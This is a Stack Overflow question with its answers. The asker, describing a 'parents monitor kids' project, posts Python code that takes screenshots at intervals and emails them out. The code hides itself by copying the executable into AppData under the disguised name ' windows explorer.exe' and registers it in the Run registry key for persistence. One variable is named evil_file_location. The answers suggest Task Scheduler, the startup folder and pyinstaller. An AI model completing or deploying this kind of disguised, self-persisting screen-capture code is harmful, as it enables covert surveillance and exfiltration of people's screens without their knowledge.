-2

Hy i am working on a project name "How Parents monitor their kids" i have to proposed my idea which is i write a python Script that send screenshoot of their childern device to their parent mail after a specific interval of time.

Now i want to add How can i make my python code.exe file to start automtically at when system is reboot

Not-working my start-up code

Startup code in my pint of view is

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

My Python full code

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

def become_persistent(self):
    hidden_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(hidden_file_location):
        shutil.copyfile(sys.executable, hidden_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + hidden_file_location + '"', shell=True)
become_persistent()

s: SMTP = smtplib.SMTP('smtp.gmail.com', port)
s.starttls()
s.login("email of parents", "password")

msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "sender email"
msg['To'] = "recepient email"
while True:
    snapshot = ImageGrab.grab()
    # Using png because it cannot write mode RGBA as JPEG
    file = "scr.png"
    snapshot.save(file)
    # Opening the image file and then attaching it
    with open(file, 'rb') as f:
        img = MIMEImage(f.read())
        img.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(img)
    os.remove(file)
    s.sendmail("sender email", "recipent email", msg.as_string())
    # Change this value to your liking
    time.sleep(120)
zain
  • 19
  • 7
  • When do you call the function `become_persistent()`? It doesn't appear to be called from the code you're showing. – CircuitSacul May 24 '20 at 17:05
  • In my code am calling it after become_persistent method – zain May 24 '20 at 17:08
  • Press Start, type Run, and press Enter. In the Run window, type shell:startup to open the Startup folder. Once the Startup folder is opened, click the Home tab at the top of the folder. Then, select Paste to paste the .exe file into the Startup folder. – shakhyar.codes Sep 10 '20 at 07:39

3 Answers3

0

Try putting the line

os.environ['DISPLAY'] = ':0'

just below your imports.

CircuitSacul
  • 1,594
  • 12
  • 32
0

Create a batch file for your python script. Then use Windows Task Scheduler to run the batch file every time they system boots up.

Here is a good step-by-step guide.

Running python code with task scheduler

glory9211
  • 741
  • 7
  • 18
0

There are the various ways to start python application on reboot (it's not mandatory to convert file in .exe) Run Python script at startup in Linux

But, If still want to convert python file in .exe use below python library.

pip install pyinstaller